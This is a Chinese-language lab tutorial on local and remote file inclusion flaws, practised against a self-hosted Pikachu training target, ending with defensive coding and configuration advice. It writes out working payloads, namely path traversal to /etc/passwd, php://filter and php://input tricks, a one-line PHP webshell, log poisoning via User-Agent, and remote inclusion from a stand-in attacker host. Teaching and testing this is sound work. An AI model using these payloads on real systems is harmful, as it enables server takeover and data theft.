文件包含漏洞实战:从原理到Pikachu靶场攻防演练
1. 项目概述文件包含漏洞的攻防实战在Web安全测试的日常工作中文件包含漏洞File Inclusion Vulnerability是一个既经典又极具杀伤力的安全缺陷。它不像SQL注入那样广为人知但其危害性丝毫不弱因为它直接关系到服务器的文件系统安全。简单来说当Web应用程序在动态包含文件比如加载页眉、页脚、配置文件时如果未对用户输入的文件路径进行严格的过滤攻击者就有可能通过构造特殊的路径参数让服务器去执行或读取本不该被访问的文件。这就像你让一个信使去隔壁房间取一份文件但没有锁上通往金库的门信使就有可能被诱导去取金库的钥匙。Pikachu靶场作为国内安全学习者入门和实践的“练功房”提供了一个近乎完美的、低风险的环境来复现和深入理解这类漏洞。它模拟了一个存在文件包含漏洞的Web应用场景让我们可以安全地“攻击”自己搭建的靶机从而深刻体会漏洞的原理、利用手法以及防御策略。今天我就结合自己多年的渗透测试经验带你从零开始在Pikachu靶场中彻底搞懂文件包含漏洞。我们不仅会通关靶场更会拆解每一步背后的逻辑分享那些只有实战中才会遇到的“坑”和技巧。2. 核心原理与漏洞类型深度解析要利用一个漏洞首先必须理解它的根源。文件包含漏洞的核心在于程序使用了诸如PHP中的include、require、include_once、require_once这类函数。这些函数的本意是提高代码的复用性例如将数据库配置、网站头部等公共部分写成单独文件然后在多个页面中包含进来。2.1 漏洞产生的根本原因漏洞产生的根本原因在于信任了不可信的用户输入。开发者编写了类似这样的代码?php $file $_GET[filename]; // 直接从URL参数获取文件名 include($file . .php); // 包含该文件 ?这段代码的逻辑可能是用户访问page.php?filenamenews服务器就会去包含news.php文件并展示其内容。问题在于攻击者传入的filename参数服务器会忠实地拼接上.php后缀然后去包含。如果开发者没有对$_GET[filename]进行任何过滤攻击者就可以传入../../../etc/passwd这样的路径。注意这里有一个关键点很多新手会困惑为什么能跳出Web目录因为include函数的参数如果包含路径遍历符../且服务器配置如open_basedir限制不严格PHP解释器就会根据这个相对路径回溯到上一级目录从而有可能访问到Web根目录之外的系统文件。2.2 两种主要的文件包含类型根据包含文件的位置可以分为两类理解它们的区别对后续的利用至关重要。2.2.1 本地文件包含Local File Inclusion, LFI这是最常见的一种。攻击者可以包含服务器本地的文件。利用LFI攻击者可以读取敏感文件如/etc/passwdLinux系统用户列表、C:\Windows\System32\drivers\etc\hostsWindows主机文件、Web应用的配置文件config.php、.env等可能内含数据库密码。配合文件上传获取WebShell如果网站同时存在文件上传漏洞但上传的文件无法直接执行比如服务器只解析.php后缀而你上传了一个.jpg的图片马就可以利用LFI去包含这个上传的恶意文件。因为include函数会将被包含文件的内容作为PHP代码执行只要文件内容符合PHP语法无论后缀名是什么。利用PHP伪协议这是LFI的“高级玩法”。PHP内置了多种封装协议如php://filter用于读取文件源码。例如php://filter/readconvert.base64-encode/resourceindex.php可以将index.php的内容以Base64编码形式读出避免其被直接执行从而看到源代码。php://input可以执行POST请求体中的原始数据作为PHP代码。data://可以直接在URL中嵌入Base64编码的代码并执行。2.2.2 远程文件包含Remote File Inclusion, RFI这种更为危险。当PHP配置中allow_url_include设置为On时现代PHP版本默认均为Offinclude等函数可以包含远程服务器上的文件。攻击者可以将恶意脚本放在自己控制的服务器上然后让目标网站去包含执行从而直接获得一个WebShell。RFI的利用条件比LFI苛刻得多在如今的网络环境下已不常见但作为原理必须了解。其利用形式类似于http://vuln-site.com/page.php?filehttp://evil.com/shell.txt。2.3 Pikachu靶场中的漏洞场景模拟Pikachu靶场精心设计了文件包含漏洞的练习模块。通常它会提供一个看似无害的下拉菜单或链接背后对应的URL参数就是包含文件的路径参数。我们的任务就是通过操纵这个参数逐步验证上述原理从简单的目录遍历读取文件到利用伪协议获取源码最终理解如何防御。3. 靶场环境搭建与初步探测工欲善其事必先利其器。一个稳定、隔离的测试环境是安全学习的第一步。3.1 环境搭建方案选择与实操Pikachu提供了多种搭建方式我强烈推荐使用Docker方式这也是目前最主流、最干净的做法。为什么选择Docker环境隔离所有服务Apache、PHP、MySQL、Pikachu代码都封装在一个容器里与你宿主机系统完全隔离。练习结束后直接删除容器即可不会留下任何垃圾文件或配置冲突。一键部署无需在本地安装配置复杂的PHPMySQL环境避免因版本、扩展问题导致的无数坑。可移植性Docker镜像和容器可以轻松迁移、分享。搭建步骤安装Docker前往Docker官网下载并安装对应你操作系统Windows/macOS/Linux的Docker Desktop。拉取Pikachu镜像打开终端或PowerShell、CMD执行以下命令。这里我们使用一个维护较新的镜像。docker pull area39/pikachu运行容器执行以下命令启动靶场。docker run -d -p 8080:80 --name pikachu area39/pikachu-d后台运行。-p 8080:80将容器的80端口映射到宿主机的8080端口。你完全可以根据需要改成8081:80或其他。--name pikachu给容器起个名字方便管理。访问靶场在浏览器中打开http://localhost:8080。如果看到Pikachu的欢迎界面说明环境搭建成功。实操心得第一次运行如果访问失败通常是端口冲突。检查宿主机8080端口是否被其他程序如别的开发服务器占用。可以用docker ps查看容器是否在运行用docker logs pikachu查看容器日志排错。Linux/Mac用户可能需要sudo权限。3.2 漏洞页面定位与初步测试成功进入Pikachu后在左侧导航栏找到“文件包含”模块。通常里面会有“本地文件包含”和“远程文件包含”两个子模块。点击进入“本地文件包含”。你会看到一个简单的页面可能有一个下拉菜单让你选择“语言”或“主题”URL地址栏可能会显示类似http://localhost:8080/vul/fileinclude/fi_local.php?filenamefile1.php这样的链接。第一步探测漏洞点尝试修改URL中的filename参数。将file1.php改为一个不存在的名字比如test。观察页面反应。如果页面报错提示类似Warning: include(test.php): failed to open stream: No such file or directory...这强烈暗示存在文件包含漏洞因为它尝试去包含test.php并且错误信息暴露了文件路径。如果页面只是空白或跳转则需要进一步测试。第二步测试目录遍历尝试输入../../../。将参数改为../../../etc/passwdLinux或../../../../Windows/System32/drivers/etc/hostsWindows Docker镜像内。观察是否能够读取到系统文件内容。在Pikachu的Docker镜像基于Linux中尝试?filename../../../etc/passwd。如果页面显示了/etc/passwd文件的内容那么LFI漏洞确认存在。第三步观察后缀处理尝试输入../../../etc/passwd%00空字节截断仅对老版本PHP有效或直接../../../etc/passwd。注意页面是否自动添加了后缀如.php。如果添加了你读取/etc/passwd的请求实际上变成了/etc/passwd.php自然会失败。这时就需要用到PHP伪协议或路径长度截断等技巧来绕过。4. 本地文件包含LFI漏洞的深入利用确认漏洞存在后我们就可以进行更深层次的利用。LFI的利用方式多样关键在于灵活组合。4.1 利用PHP伪协议读取源码这是非常实用的一招可以帮助我们审计目标网站的源代码寻找数据库配置、其他漏洞点或逻辑缺陷。利用php://filter协议假设漏洞URL为http://localhost:8080/vul/fileinclude/fi_local.php?filenamefile1服务器会自动补全.php。 我们可以构造如下Payloadhttp://localhost:8080/vul/fileinclude/fi_local.php?filenamephp://filter/readconvert.base64-encode/resourcefile1参数拆解php://filter/使用过滤器协议。readconvert.base64-encode/resource指定一个读取过滤器将资源文件的内容进行Base64编码。file1这是resource的参数指定要读取的资源。这里我们传入file1服务器会将其与前面的路径拼接最终尝试读取file1对应的文件可能是file1.php。注意这里我们故意没有加.php因为resource参数期望的是文件名后缀由服务器逻辑或我们自行推断。访问这个链接后页面可能不会直接显示明文代码而是一串Base64编码的字符串如PD9waHAgZWNobyAiVGhpcyBpcyBmaWxlMSI7Pz4。我们将这串字符复制下来使用任何Base64解码工具在线网站或命令行echo ‘字符串’ | base64 -d进行解码就能得到file1.php的源代码?php echo This is file1;?。更进一步读取关键配置文件知道了方法我们就可以尝试读取更重要的文件比如靶场自身的配置文件、数据库连接文件等。通常这些文件位于Web根目录的上级或同级目录。需要一些目录猜测。 例如尝试读取config.php?filenamephp://filter/readconvert.base64-encode/resource../../config/config.php或者直接读取当前漏洞文件自身的源码以分析其过滤逻辑?filenamephp://filter/readconvert.base64-encode/resourcefi_local4.2 结合文件上传漏洞获取WebShell这是LFI漏洞危害升级的关键一步也是实战中常见的组合拳。前提是目标网站存在一个文件上传点并且我们能上传一个文件到服务器已知路径。场景模拟Pikachu靶场的“文件上传”模块可能存在一个漏洞允许我们上传一个.jpg图片文件但文件内容其实是一句话PHP木马?php eval($_POST[‘cmd’]);?。假设上传后文件被重命名为shell.jpg存放路径为/uploads/shell.jpg。此时仅访问uploads/shell.jpg服务器会把它当作图片处理不会执行其中的PHP代码。利用文件包含漏洞我们去包含这个上传的文件http://localhost:8080/vul/fileinclude/fi_local.php?filename../../../uploads/shell.jpg路径需要根据实际情况调整当include函数执行shell.jpg时会将其内容作为PHP代码解析于是其中的一句话木马就被激活了。接下来我们就可以使用中国菜刀、蚁剑等WebShell管理工具连接这个“虚拟”的PHP脚本通过包含漏洞的URL并传递cmd参数来执行任意系统命令例如cmdsystem(‘whoami’)。注意事项这种利用方式对PHP版本和配置有一定要求。需要确保allow_url_include和allow_url_fopen的设置为Off时仍能包含本地文件这是默认且通常允许的。另外如果上传点对文件内容进行了严格的检测如图片二次渲染可能会破坏植入的PHP代码导致利用失败。4.3 利用日志文件注入代码另一个经典的LFI利用技巧是“日志污染”。Web服务器如Apache、Nginx会记录所有访问日志其中包含HTTP请求头。如果我们可以让PHP代码被写入日志文件再通过LFI去包含这个日志文件就能执行代码。利用步骤找到日志文件路径通常为/var/log/apache2/access.log、/var/log/nginx/access.log等。可以通过LFI读取一些已知文件或报错信息来推测。污染日志使用Burp Suite或Curl向目标网站发送一个包含PHP代码的HTTP请求。例如在User-Agent头中插入一句话木马GET / HTTP/1.1 Host: localhost:8080 User-Agent: ?php system($_GET[‘c’]);?包含日志文件通过LFI漏洞去包含这个日志文件。http://localhost:8080/vul/fileinclude/fi_local.php?filename../../../var/log/apache2/access.log执行命令如果包含成功日志文件中的PHP代码会被执行。此时我们可以在包含日志的URL后面附加参数来执行命令http://localhost:8080/vul/fileinclude/fi_local.php?filename../../../var/log/apache2/access.logcwhoami这样参数c的值whoami就会传递给日志文件中的system($_GET[‘c’])代码并执行。这个方法的关键在于需要有日志文件的读取权限。日志文件必须可读且路径已知。写入日志的PHP代码不能因为日志文件的格式如空格、换行符而被破坏。通常User-Agent字段是一个不错的注入点。5. 远程文件包含RFI漏洞的原理与复现虽然现代PHP环境默认禁止RFI但Pikachu靶场为了教学目的可能会在特定模块模拟开启allow_url_include的环境。理解RFI有助于我们建立完整的安全认知。5.1 RFI利用条件与环境配置要复现RFI首先需要确保测试环境允许远程包含。在PHP的配置文件php.ini中需要满足allow_url_fopen On allow_url_include On在Docker运行的Pikachu中“远程文件包含”模块可能已经单独配置好了这个环境。我们直接进入该模块进行测试。5.2 利用RFI直接获取WebShellRFI的利用比LFI更直接。假设存在RFI漏洞的URL为http://localhost:8080/vul/fileinclude/fi_remote.php?filenamehello攻击步骤准备恶意文件在攻击者自己控制的一台公网服务器或同一内网的另一台机器上创建一个文本文件shell.txt内容为?php echo “RFI Test Success!”; phpinfo(); // 或者 system($_GET[‘cmd’]); ?将该文件通过Web服务器如Nginx、Apache发布确保能通过http://your-vps.com/shell.txt访问。发起RFI攻击将漏洞URL中的参数修改为远程文件的URL。http://localhost:8080/vul/fileinclude/fi_remote.php?filenamehttp://your-vps.com/shell.txt结果如果漏洞存在且配置允许目标服务器会去请求http://your-vps.com/shell.txt获取其内容并将其作为PHP代码执行。于是页面上会显示 “RFI Test Success!” 以及PHP的配置信息页面phpinfo()或者可以通过?cmdwhoami来执行命令。5.3 RFI的防御与现状由于RFI的危害极其直接和严重自PHP 5.2版本以后allow_url_include的默认值就是Off。因此在真实的现代Web应用中纯粹的RFI漏洞已经非常罕见。安全防护的重心更多地放在了防御LFI上。但作为开发者绝对不应该在配置中开启此选项作为安全测试者在黑盒测试时也可以尝试RFI的Payload但预期成功率很低更多是一种合规性检查。6. 漏洞挖掘与利用中的高级技巧与绕过在实际的渗透测试或CTF比赛中漏洞点往往不会那么明显会有各种过滤和限制。下面分享几种常见的绕过技巧。6.1 路径遍历与编码绕过绝对路径替代相对路径如果程序过滤了../可以尝试使用绝对路径。例如直接包含/etc/passwd。URL编码与双重编码../可以被编码为%2e%2e%2f、..%2f、%2e%2e/。有些过滤逻辑在解码一次后进行检查此时可以进行双重编码%252e%252e%252f%25是%的URL编码。服务器收到后第一次解码得到%2e%2e%2f如果过滤逻辑在此刻运行可能检测不到随后第二次解码时还原为../。超长路径截断在旧版PHP5.3和特定系统下当路径长度超过一定限制如4096字节时后面的部分会被截断。可以利用大量./或/来填充长度使得后缀被丢弃。例如filename../../../etc/passwd/././././...非常多。6.2 PHP伪协议的组合利用php://filter除了read还有write过滤器可以用于复杂的攻击链。php://input协议则允许我们直接执行POST过去的代码无需在服务器上留有文件。利用php://input使用Burp Suite拦截包含漏洞的请求。将GET请求改为POST请求。将filename参数的值改为php://input。在POST请求体中写入要执行的PHP代码例如?php system(‘whoami’);?。发送请求如果配置允许allow_url_includeOn代码将被执行。6.3 利用/proc/self/environ等特殊文件在Linux系统中/proc/目录下有很多反映进程和环境信息的虚拟文件。如果Web服务器进程对环境变量控制不严攻击者可以通过HTTP头如User-Agent注入代码到环境变量然后通过LFI包含/proc/self/environ文件来执行代码。这与日志污染的原理类似。7. 文件包含漏洞的防御方案与实践理解了攻击才能更好地防御。防御文件包含漏洞的核心原则是对用户输入进行严格的白名单校验并避免动态包含变量。7.1 输入校验与白名单机制最有效的方法是使用白名单。如果只需要包含几个固定的文件就不要使用动态变量。// 危险的做法 $page $_GET[‘page’]; include(‘/pages/’ . $page . ‘.php’); // 安全的做法 - 白名单 $allowed_pages array(‘home’, ‘about’, ‘contact’); $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘/pages/’ . $page . ‘.php’); } else { include(‘/pages/error.php’); }7.2 静态化与固定后缀如果必须动态包含也应尽量避免用户控制完整路径或文件名。固定目录将可包含的文件限制在某个特定目录下。添加固定后缀就像Pikachu示例中自动加.php一样但要在添加后缀之前对用户输入进行过滤和校验。使用basename()函数basename()函数会返回路径中的文件名部分去掉任何目录路径。这可以防止路径遍历但要注意它可能无法处理URL编码。7.3 安全的编程实践与配置加固关闭危险配置确保生产环境的php.ini中allow_url_include和allow_url_fopen设置为Off。设置open_basedir在PHP配置中通过open_basedir指令将PHP可访问的文件限制在网站根目录及必要目录下这是防止LFI读取系统文件的重要防线。使用绝对路径而非相对路径在包含文件时尽量使用基于项目根目录的绝对路径通过$_SERVER[‘DOCUMENT_ROOT’]拼接减少歧义。代码审计与安全扫描将文件包含函数include,require,include_once,require_once作为代码审计和自动化安全扫描的重点关注对象。7.4 Web应用防火墙WAF规则在应用层部署WAF可以设置规则来拦截包含路径遍历字符../,..\,etc/passwd等和PHP伪协议关键字php://,data://等的请求。但这只是一种缓解措施不能替代安全的代码编写。8. 实战演练Pikachu靶场通关全记录与问题排查让我们回到Pikachu靶场进行一次完整的、带有问题排查思路的通关演练。关卡本地文件包含访问页面/vul/fileinclude/fi_local.php。看到下拉菜单URL为?filenamefile1.php。测试漏洞将filename改为test页面报错显示包含test.php失败确认漏洞存在且自动添加.php后缀。尝试目录遍历输入../../../etc/passwd页面可能显示“文件不存在”或空白。说明后缀.php被加在了整个字符串后面变成了../../../etc/passwd.php。使用伪协议读取源码构造Payload?filenamephp://filter/readconvert.base64-encode/resourcefile1。成功获取到一串Base64编码。解码后得到file1.php源码。同理尝试resourcefi_local来读取漏洞文件本身源码分析其逻辑。读取系统文件关键要读取/etc/passwd需要让resource参数指向它但又要绕过后缀。可以尝试?filenamephp://filter/readconvert.base64-encode/resource../../../etc/passwd。服务器可能会将resource后的整体作为路径。如果成功解码后即可看到用户列表。如果上述失败可能是程序对resource参数也做了目录限制。可以尝试更直接的包含如果后缀处理可被空字节截断但PHP高版本已修复?filename../../../etc/passwd%00(PHP5.3.4)。在Pikachu环境中通常无效。通关在Pikachu中成功读取到指定敏感文件如../../../../etc/passwd或关键配置文件即算通关。常见问题排查表问题现象可能原因排查思路与解决方案修改filename参数后页面无变化或404参数名不对或漏洞点不在GET请求中1. 查看页面源码寻找其他表单或链接。2. 使用Burp Suite拦截所有请求查看POST数据或Cookie中是否包含文件路径参数。3. 尝试常见的参数名如file,page,path,load等。包含../../../etc/passwd失败但报错信息显示路径自动添加了后缀如.php1. 使用php://filter协议读取源码确认后缀添加逻辑。2. 尝试空字节截断仅对旧版本。3. 尝试超长路径截断。4. 尝试利用?号../../../etc/passwd?有时?后的内容在部分环境下会被当作URL参数而忽略。php://filter协议返回空白或错误PHP配置禁用该协议或路径错误1. 检查allow_url_fopen设置虽主要针对HTTP但可能影响。2. 确认resource后的路径是否正确尝试使用相对路径如./file1或绝对路径。3. 尝试其他伪协议如data://。包含上传的图片马不执行代码PHP配置或代码逻辑问题1. 确认包含的路径绝对正确。2. 确认图片马中的PHP代码未被上传过程破坏如图片压缩。3. 尝试在图片马开头添加GIF89a等文件头绕过简单检测。4. 查看服务器是否安装了禁用危险函数如eval,system的扩展。远程包含RFI失败allow_url_include为Off1. 这是正常且安全的情况。2. 在Pikachu的RFI专项关卡中确认是否进入了正确的模块该模块可能单独配置了允许RFI的环境。我个人在实际操作中的体会是文件包含漏洞的利用过程就像是在和应用程序的逻辑“对话”。每一次参数修改每一次Payload的尝试都是在试探服务器的处理规则。从简单的目录遍历到伪协议的使用再到结合其他漏洞如上传、日志这个漏洞展现出了强大的横向扩展能力。防御的核心永远在于对用户输入保持“零信任”并在代码层面实现严格的校验与控制。通过Pikachu这样的靶场反复练习将这些攻击手法和防御思路内化才能在真实的网络安全工作中做到心中有数手中有术。